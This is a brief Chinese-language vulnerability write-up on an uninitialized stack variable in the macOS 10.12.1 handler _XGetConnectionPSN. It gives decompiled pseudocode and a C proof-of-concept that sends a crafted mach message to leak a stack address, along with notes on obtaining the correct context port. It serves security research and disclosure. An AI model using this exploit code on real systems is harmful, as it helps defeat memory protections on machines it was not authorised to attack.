basic info
uninitialized stack var –> info leak
macOS 10.12.1
vuln
_FindProcessRecByConnectionID
调用失败后,会用未初始化的栈变量做赋值操作,导致信息泄漏。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| NDR_record_t __usercall _XGetConnectionPSN@<rax>(__int64 a1@<rax>, _DWORD *a2@<rdi>, __int64 a3@<rsi>) { __int64 savedregs; __int64 v4; __int64 v5; __int64 v6; NDR_record_t result;
savedregs = a1; if ( *a2 < 0 || a2[1] != 0x24 ) { *(_DWORD *)(a3 + 32) = -304; result = NDR_record; *(NDR_record_t *)(a3 + 24) = NDR_record; } else { v4 = FindProcessRecByConnectionID((unsigned int)a2[8]); if ( v4 ) { v6 = *(_QWORD *)(v4 + 4); v5 = *(_QWORD *)(v4 + 4) >> 32; } *(_DWORD *)(a3 + 0x24) = v6; *(_DWORD *)(a3 + 0x28) = v5; *(_DWORD *)(a3 + 0x20) = 0; result = NDR_record; *(NDR_record_t *)(a3 + 24) = NDR_record; *(_DWORD *)(a3 + 4) = 44; } return result; }
|
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| void leak_addr() { mach_msg_return_t ret; leak_msg_t message; mach_port_t replyPort = mig_get_reply_port(); memset(&message, 0, sizeof(message)); message.header.msgh_remote_port = getport; message.header.msgh_local_port = replyPort; message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE); message.header.msgh_size = 36; message.header.msgh_id = 0x7210 + 0xff; message.NDR = NDR_record; message.size = 0; message.leak_addr = 0x1337; ret = mach_msg(&(message.header), MACH_SEND_MSG | MACH_RCV_MSG, 36, 0xffff, replyPort, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if(ret != MACH_MSG_SUCCESS) { NSLog(@"mach_msg fail.\n"); mach_error("mach_msg:" , ret); } stack_addr = 0x7fff00000000 | message.leak_addr; }
|
写poc的时候发现一个问题,使用之前和fontd
交互的代码获取port,然后填充mach msg
的remote port
无法触发漏洞,问了下brightiup得到了答案:
1
| 你获取的这个port是这个mach服务的port,他这个代码里面通过funcptr获得的port是一个对象的port可以理解为一个上下文。其实那个funcptr应该是CGSCreateLayerContext函数。
|
我获取到的port是没有上下文的,所以无法触发漏洞路径。
重新看了完整利用后,发现这个offset对应的函数应该是 CGSGetConnectionPortById
。
reference
zer0con2018_singi